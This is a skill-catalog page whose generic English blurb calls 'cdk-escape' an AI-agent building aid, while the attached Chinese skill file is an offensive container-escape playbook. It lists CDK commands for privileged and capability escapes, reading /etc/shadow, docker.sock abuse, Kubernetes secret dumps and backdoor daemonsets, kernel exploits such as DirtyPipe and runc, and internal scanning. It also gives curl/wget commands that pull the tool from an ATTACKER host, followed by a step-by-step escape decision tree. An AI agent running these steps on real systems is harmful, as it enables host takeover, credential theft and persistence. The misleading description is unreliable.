
Cdk Escape
- 24 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
cdk-escape is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- cdk-escape
- AI & Agent Building
- AI-coding skill
Cdk Escape by the numbers
- 24 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,912 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
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| Installs | 24 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
CDK 容器渗透与逃逸
CDK 是容器渗透的瑞士军刀——一个二进制解决容器内信息收集、漏洞检测、逃逸利用。拿到容器 shell 后,先跑 CDK 评估,再选逃逸路径。
项目地址:https://github.com/cdk-team/CDK
第一步:环境评估
进入容器后立即运行评估,CDK 会自动检测所有可能的逃逸路径:
# 全自动评估(推荐首选)
cdk evaluate
# 评估输出会列出:
# - 容器运行时类型(Docker/containerd/CRI-O)
# - 容器权限(privileged/capabilities)
# - 可利用的挂载点
# - 可用的逃逸技术
# - K8s Service Account Token
# - 网络信息逃逸技术
特权容器逃逸
# 检测到 privileged=true 时
cdk run mount-cgroup "cat /etc/shadow"
# 或
cdk run mount-disk
# 通过 /dev 设备逃逸
cdk run mount-procfs "cat /etc/shadow"capabilities 逃逸
# CAP_SYS_ADMIN
cdk run mount-cgroup "whoami"
# CAP_DAC_READ_SEARCH
cdk run cap-dac-read-search
# CAP_SYS_PTRACE
cdk run check-ptrace
cdk run shim-pwn # containerd-shim 提权Docker Socket 逃逸
# 发现挂载了 /var/run/docker.sock
cdk run docker-sock-check
cdk run docker-sock-deploy "attacker_image"K8s 逃逸
# 利用 Service Account Token
cdk run k8s-secret-dump
cdk run k8s-configmap-dump
# 创建特权 Pod 逃逸
cdk run k8s-backdoor-daemonset内核漏洞逃逸
# CVE-2021-22555 (Netfilter)
cdk run exploit-CVE-2021-22555
# CVE-2022-0847 (DirtyPipe)
cdk run exploit-CVE-2022-0847
# runc CVE-2019-5736
cdk run runc-pwn容器内信息收集
# 扫描内网服务(容器网络内)
cdk run service-probe 10.0.0.0/24
# 探测 K8s API Server
cdk run k8s-service-discovery
# 获取元数据服务(云环境)
cdk run cloud-metadata工具投递
CDK 是静态编译的单二进制文件,投递到容器很方便:
# 方式 1:通过 Web 漏洞下载
curl -o /tmp/cdk https://ATTACKER/cdk && chmod +x /tmp/cdk
# 方式 2:通过 Python 临时 HTTP 服务
# 攻击机:python3 -m http.server 8000
# 容器内:wget http://ATTACKER:8000/cdk -O /tmp/cdk && chmod +x /tmp/cdk决策树
进入容器后:
├─ 第一步:cdk evaluate(自动评估所有逃逸路径)
├─ privileged=true → cdk run mount-cgroup / mount-disk
├─ 有 docker.sock → cdk run docker-sock-deploy
├─ 有 K8s SA Token → cdk run k8s-secret-dump
├─ 有 capabilities → 对应 capability 的利用
├─ 以上都没有 → 检查内核版本,尝试内核漏洞
└─ 也逃不了 → 容器内横向(service-probe 扫网段)Related skills
AI & Agent Buildingagents